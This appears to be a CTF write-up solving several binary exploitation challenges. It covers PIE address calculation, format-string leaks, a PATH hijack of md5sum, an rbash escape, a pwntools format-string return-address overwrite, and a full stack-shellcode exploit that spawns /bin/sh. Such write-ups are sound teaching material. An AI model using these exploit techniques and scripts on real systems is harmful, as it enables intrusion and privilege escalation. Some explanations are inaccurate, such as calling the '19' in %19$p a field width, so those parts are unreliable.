# PIE TIME
### Description
> Can you try to get the flag? Beware we have PIE!
We're given both the source code and the binary
```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
```
From the source code above, there are two important functions: `main()` and `win()`. In the `main()` function, the address of `main` is printed for us, and it prompts us to enter a value (address), which is then called. Let's run the binary and see what happens.

As you can see from the screenshot, when we provide a random(invalid) value, it causes a `Segfault` and exits the program. The `Segfault` is handled by the following code section.
```c
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
```
Now, let's open the program using `GDB` and check out the addresses of the functions.
>Note
> For the rest of the challenge, I'll be using [pwndbg](https://github.com/pwndbg/pwndbg), an extension of `GDB` that is enhanced for exploit development.

We can see that the `win()` function starts at the address `0x00005555555552a7`.

And the `main()` function starts at the address `0x0000555555533d`. Let's calculate the difference between the `main()` function and the `win()` function.

And we get `0x96` or `150`. Now it's obvious what we need to do: after getting the `main()` address, we subtract `0x96` (or 150), which gives us the address of `win()`.

After running the program, we get the address `0x564ac801033d`.

After subtracting `0x96`, we get `0x564ac80102a7`. Let's enter the value and see if it will call the `win()` function and print the flag for us.

And we got the flag! ๐ This is a local instance. Let's try it against the remote instance and see if it works the same way.

After getting the address and subtracting `0x96`...

We get the flag.
---
# PIE TIME 2
#### Description
> Can you try to get the flag? I'm not revealing anything anymore!!
This time, it's not printing the address of `main()`, Let's checkout what the code is doing before running the binary
```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
call_functions();
return 0;
}
```
From the source code above, we have three functions that we need to focus on: `main()`, `win()`, and `call_functions()`. In `main()`, we first call the `call_functions()` function.
```c
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
```
In the `call_functions()` function, it asks for our name, which takes a total of 64 bytes. It then prints our name to `stdout` and, finally, prompts us for the address to call.
If you look carefully, after getting our name, it directly prints our name using the `printf` function, which causes a [format string vulnerability](https://owasp.org/www-community/attacks/Format_string_attack). By using the `%p` format specifier, we can try to leak some interesting values (addresses).

As you can see from the screenshot, we are leaking some addresses. Now, let's open the binary using `GDB` and check at what position the function we need is getting leaked.

The address of `main()` starts at `0x00005555555400`.

The address of `call_functions()` starts at `0x000055555552c7`

Finally, the `win()` function starts at the address `0x0000555555536a`

After trying different values at position `%19$p`, we get the address `0x555555555441`, which is in the `main()` function.

This is the address right after calling the `call_functions()` function. Let's break down what `%19$p` represents before we start calculating the address of `win()`.
#### Breakdown of %19$p
- `%`: This indicates the start of a format specifier.
- `19`: This is a field width specifier, meaning the printed value should take up at lease 19 characters.
- `$`: Is used to select a specific argument
- `p`: indicates that the value should be printed as a pointer
We can also leak the starting address of `main()` by inputting the following: `%23$p`.

Let's confirm

This means we can choose between the address leaked using `%19$p` or `%23$p`. Since we can use either, let's go with `%19$p`.

It's `0xd7`, which is `215`. Let's try the same thing as before. This time, since the address of `main()` is not being printed, we can get it using the `%19$p` format specifier. After that, we subtract `0xd7` to get the address of the `win()` function.

---
# hash-only-1
#### Description
> Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!
For this challenge, the binary is stored somewhere on the server. We had to connect and use `scp` to transfer the binary to our machine for a closer look.
We can use the following `scp` command to pull it to our local machine:
```bash
scp -P <port> ctf-player@<sub-domain>.picoctf.net:~/flaghasher .
```
Before analyzing the binary in [Ghidra](https://github.com/NationalSecurityAgency/ghidra), let's first run it and see what it's doing.

You can see that the flag is located at `/root/flag.txt`, and the custom binary is calculating the `MD5` hash of the flag.
Let's now use [Ghidra](https://github.com/NationalSecurityAgency/ghidra) to analyze what it's doing.

Immediately, I noticed the string.
```bash
/bin/bash -c 'md5sum /root/flag.txt'
```
Since it's using `md5sum`, one simple way to get the flag is by modifying the `PATH` to use our custom `md5sum` binary. We just need to copy the `cat` command to the directory we want, rename the `cat` binary to `md5sum`, and then run the `flaghasher` binary again.

And we got the flag! ๐
---
# hash-only-2
In this challenge, it's the same binary as beforeโnothing has been modified. Let's try the same trick as before.

As you can see from the screenshot, `PATH` is read-only, and it's using `rbash`.
## what is rbash?

**`rbash`** stands for **Restricted Bash**, which is a restricted version of the **Bash** shell. It is typically used to limit the functionality and capabilities of users to restrict their actions in a more controlled environment.
What we can do is change our shell from `rbash` to `sh`, and then we can use the same trick as in the previous challenge.

And it worked!
---
# Echo Valley
#### Description
> The echo valley is a simple function that echoes back whatever you say to it.But how do you make it respond with something more interesting, like a flag?
We're provided with the binary and the source code for the challenge. Let's take a look at the code first.
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void print_flag() {
char buf[32];
FILE *file = fopen("/home/valley/flag.txt", "r");
if (file == NULL) {
perror("Failed to open flag file");
exit(EXIT_FAILURE);
}
fgets(buf, sizeof(buf), file);
printf("Congrats! Here is your flag: %s", buf);
fclose(file);
exit(EXIT_SUCCESS);
}
void echo_valley() {
printf("Welcome to the Echo Valley, Try Shouting: \n");
char buf[100];
while(1)
{
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) == NULL) {
printf("\nEOF detected. Exiting...\n");
exit(0);
}
if (strcmp(buf, "exit\n") == 0) {
printf("The Valley Disappears\n");
break;
}
printf("You heard in the distance: ");
printf(buf);
fflush(stdout);
}
fflush(stdout);
}
int main() {
echo_valley();
return 0;
}
```
We have two interesting functions: `echo_valley()` and `print_flag()`.
```c
void echo_valley() {
printf("Welcome to the Echo Valley, Try Shouting: \n");
char buf[100];
while(1)
{
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) == NULL) {
printf("\nEOF detected. Exiting...\n");
exit(0);
}
if (strcmp(buf, "exit\n") == 0) {
printf("The Valley Disappears\n");
break;
}
printf("You heard in the distance: ");
printf(buf);
fflush(stdout);
}
fflush(stdout);
}
```
This function reads our buffer, which is 100 bytes, from `stdin`, and checks if the input equals "**exit**." If it does, the program exits; if not, it simply **echoes** back what we input. (This will come in handy later on ๐)
The interesting part is that it's printing the buffer using `printf`, which creates a format string vulnerability.
The `print_flag()` function just prints the flag, but it's not being called.

from the screenshot above `checksec` shows
1) **RELRO (Read-Only Relocation)**: Prevents modification of the Global Offset Table (GOT) to mitigate certain attacks like GOT overwrite
2) **Stack**: Refers to protections like **stack canaries** or **stack cookies** used to detect and prevent buffer overflow attacks by checking integrity before function return.
3) **NX (No Execute)**: A security feature that prevents execution of code from certain regions of memory (like the stack or heap), reducing the risk of buffer overflow exploits.
4) **PIE (Position Independent Executable)**: Ensures that the binary can be loaded at different addresses in memory, making it harder for attackers to predict the location of specific functions or buffers for exploitation.
First, let's confirm that we have a format string vulnerability.

Good. What we need to do is, since the `main()` function calls the `echo_valley()` function:
1. Use the format string vulnerability to get the return address.
2. Use the `main()` function to calculate the offset of the `print_flag()` function.
3. Overwrite the return address with the address of the `print_flag()` function.
## Let's check if we can overwrite the return address.
Using the following input, we can obtain the return address.
```c
%15$p::%16$p::%17$p::%18$p::%19$p::%20$p::%21$p::%22$p
```

Now, let's use `telescope` to check how far we are from the leaked addresses.

It's only 8 bytes away from `%20$p`. Now, let's put it all together and try to overwrite the return address.

After leaking the return address, I used `pwntools`'s `fmtstr_payload` function to craft our format string payload. I've overwritten the return address with `0x13337`, which, as shown in the screenshot, is trying to return to `0x13337`.
Now that we know what we need to do, let's leak the address of `main()`, calculate the offset of `print_flag()`, and overwrite the return address.
## Main function address

At position `%21$p`, we've leaked the address inside the `main()` function. From there, let's calculate how far we need to go to get the address of `print_flag()`.

We can see the addresses of `main()` and `print_flag()`, so all we need to do is...
```python
0x0000561223df1413 - 0x0000561223df1269
```

And we get `0x1aa`, which means...
```python
0x0000561223df1413 - 0x1aa
```
...gets us the address of the `print_flag()` function.
Now, let's put it all together and overwrite the return address with the address of `print_flag()`.

Hmmm... it should work, but it's only overwriting the lower-order bytes. Let's figure out what went wrong.

Aha! The format string payload exceeds the buffer size. The buffer is **100** bytes, but the format string payload length is **120**, so we need to send it in chunks.

Awesome! ๐ We have successfully overwritten the return address with the `print_flag()` address. Let's test it against the remote instance.
```python
#!/usr/bin/env python3
from pwn import *
BIN_NAME = "valley"
def solve():
context.arch = "amd64"
context.log_level = "DEBUG"
p = process(f"./{BIN_NAME}")
p.sendlineafter(b"Shouting: ", b"%20$p::%21$p")
p.recvuntil(b"You heard in the distance: ")
addresses = p.recv().decode().strip().split("::")
return_address = int(addresses[0], 16) - 8
main_function_address = int(addresses[1], 16)
print_flag_address = main_function_address - 0x1aa
log.info(f"return address = {hex(return_address)}")
log.info(f"main function address = {hex(main_function_address)}")
log.info(f"print flag address = {hex(print_flag_address)}")
chunks = [
print_flag_address & 0xFFFF,
(print_flag_address >> 16) & 0xFFFF,
(print_flag_address >> 32) & 0xFFFF,
]
log.info(f"sending the first {hex(chunks[0])} bytes")
p.sendline(fmtstr_payload(6, {return_address: chunks[0]}))
log.info(f"sending the second {hex(chunks[1])} bytes")
p.sendline(fmtstr_payload(6, {return_address + 2: chunks[1]}))
log.info(f"sending the third {hex(chunks[2])} bytes")
p.sendline(fmtstr_payload(6, {return_address + 4: chunks[2]}))
p.interactive()
def main():
solve()
if __name__ == "__main__":
main()
```

It also worked on the remote instance. Awesome! ๐
---
# handoff
Same as before, we are provided with the source code and the binary. Let's take a look at the source code first.
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64
typedef struct entry {
char name[8];
char msg[64];
} entry_t;
void print_menu() {
puts("What option would you like to do?");
puts("1. Add a new recipient");
puts("2. Send a message to a recipient");
puts("3. Exit the app");
}
int vuln() {
char feedback[8];
entry_t entries[10];
int total_entries = 0;
int choice = -1;
// Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
while (true) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
getchar(); // Remove trailing \n
// Add entry
if (choice == 1) {
choice = -1;
// Check for max entries
if (total_entries >= MAX_ENTRIES) {
puts("Max recipients reached!");
continue;
}
// Add a new entry
puts("What's the new recipient's name: ");
fflush(stdin);
fgets(entries[total_entries].name, NAME_LEN, stdin);
total_entries++;
}
// Add message
else if (choice == 2) {
choice = -1;
puts("Which recipient would you like to send a message to?");
if (scanf("%d", &choice) != 1) exit(0);
getchar();
if (choice >= total_entries) {
puts("Invalid entry number");
continue;
}
puts("What message would you like to send them?");
fgets(entries[choice].msg, MSG_LEN, stdin);
}
else if (choice == 3) {
choice = -1;
puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
fgets(feedback, NAME_LEN, stdin);
feedback[7] = '\0';
break;
}
else {
choice = -1;
puts("Invalid option");
}
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0); // No buffering (immediate output)
vuln();
return 0;
}
```
The program has the following options.
```c
void print_menu() {
puts("What option would you like to do?");
puts("1. Add a new recipient");
puts("2. Send a message to a recipient");
puts("3. Exit the app");
}
```
And it has the following `struct`
```c
typedef struct entry {
char name[8];
char msg[64];
} entry_t;
```
We can choose options '**1**' and '**2**' to set the name and message, and when choosing option '**3**,' ...
```c
else if (choice == 3) {
choice = -1;
puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
fgets(feedback, NAME_LEN, stdin);
feedback[7] = '\0';
break;
}
```
It exits the program, but before that, it takes feedback from the user and stores the input in the `feedback` variable. This causes a buffer overflow. Before confirming that, let's use `checksec` to see what's enabled and what's not.

This is good. Since **PIE (Position-Independent Executable)** is disabled, the program runs at the same base address every time it is loaded. Additionally, **NX (No-Execute)** is disabled, meaning we can execute **`shellcode`** on the stack.

Okay, as you can see, we have overwritten the return address with `0x4141414141414141`. Let's find the exact offset.

Using the `cyclic` command, we can confirm that the exact offset we need is **20**.
## What steps do we need to take?
Since **NX** is disabled, we can place the `shellcode` somewhere on the stack and `jmp` to it. However, **ASLR** is enabled, so that won't work for us. After experimenting with the program a bit, I've come up with the following steps to execute the `shellcode`.
1) Push the `shellcode` onto the stack.
2) Push an assembly instruction onto the stack that will allow us to jump to the `shellcode`.
### Step 1

The `shellcode` that we're trying to push onto the stack is **44** bytes. We can save it in the 'entries'.
```c
else if (choice == 2) {
choice = -1;
puts("Which recipient would you like to send a message to?");
if (scanf("%d", &choice) != 1) exit(0);
getchar();
if (choice >= total_entries) {
puts("Invalid entry number");
continue;
}
puts("What message would you like to send them?");
fgets(entries[choice].msg, MSG_LEN, stdin);
}
```
`MSG_LEN 64`, which is more than enough to store our `shellcode`.

I've used [pwntools](https://github.com/Gallopsled/pwntools) to create a quick `/bin/sh` `shellcode` with `shellcraft.sh()`.
### Let's get our gadget
By using `ROPgadget`, we can easily find our gadget.

`ROPgadget` returned the `jmp rax` gadget, which is at `0x000000000040116c`. The address does not change since `PIE` is disabled.
### Step 2
After pushing the `shellcode` onto the stack, we need to set the return address to a gadget. The gadget will `jmp` to our small piece of assembly code, which will help us reach our `shellcode`.

It will now try to execute our gadget. Let's determine how far our `shellcode` is from `rsp`.

From the screenshot above, we can see that our `shellcode` is at `0x7fffa8e4ffa7`. Subtracting 15 will also account for our `nop`, and `rsp` is at `0x7fffa8e50280`.

By doing this simple calculation, we can determine how far our `shellcode` is from `rsp`.
## Our helper code (Stager)
```asm
nop
sub rsp, 0x2e8
jmp rsp
```
This simple assembly code will help us point to our `shellcode` and execute it.

Since the total buffer offset we need is **20**, and our helper (stager) code is at **10**, we're good.
## Let's put everything together.
So, our payload will look something like this:

```python
payload = asm(
"""
nop;
sub rsp, 0x2e8;
jmp rsp;
"""
)
payload += asm("nop") * 10
payload += jmp_rax
```
Now, let's put it all together and check if it works.

It reached our helper (stager) code...

`rsp` now points to our `shellcode`.

Awesome! Our `shellcode` executed successfully. Let's now try it on the remote instance.

It worked! ๐ Here is the full code.
```python
#!/usr/bin/env python3
from pwn import *
BIN_NAME = "handoff"
def solve():
context.arch = "amd64"
context.log_level = "DEBUG"
p = process(f"./{BIN_NAME}")
jmp_rax = p64(0x0040116c)
shellcode = asm(shellcraft.sh())
nop_sled = asm("nop") * ((63) - len(shellcode))
payload = asm(
"""
nop;
sub rsp, 0x2e8;
jmp rsp;
"""
)
payload += asm("nop") * 10
payload += jmp_rax
p.sendlineafter(b"3. Exit the app", b"1")
p.sendlineafter(b"new recipient's name:", b"shellcode")
p.sendlineafter(b"3. Exit the app", b"2")
p.sendlineafter(b"you like to send a message to?", "0")
# shellcode size is 48 and message length is 64-1 so
# (MSG_LEN-1) - len(shellcode) = 15
# so our nop should be 15
p.sendlineafter(b"would you like to send them?", nop_sled + shellcode)
p.sendlineafter(b"3. Exit the app", b"3")
p.sendline(payload)
p.interactive()
def main():
solve()
if __name__ == "__main__":
main()
```
Thank you for following along! I hope this writeup was helpful. Feel free to reach out if you have any questions!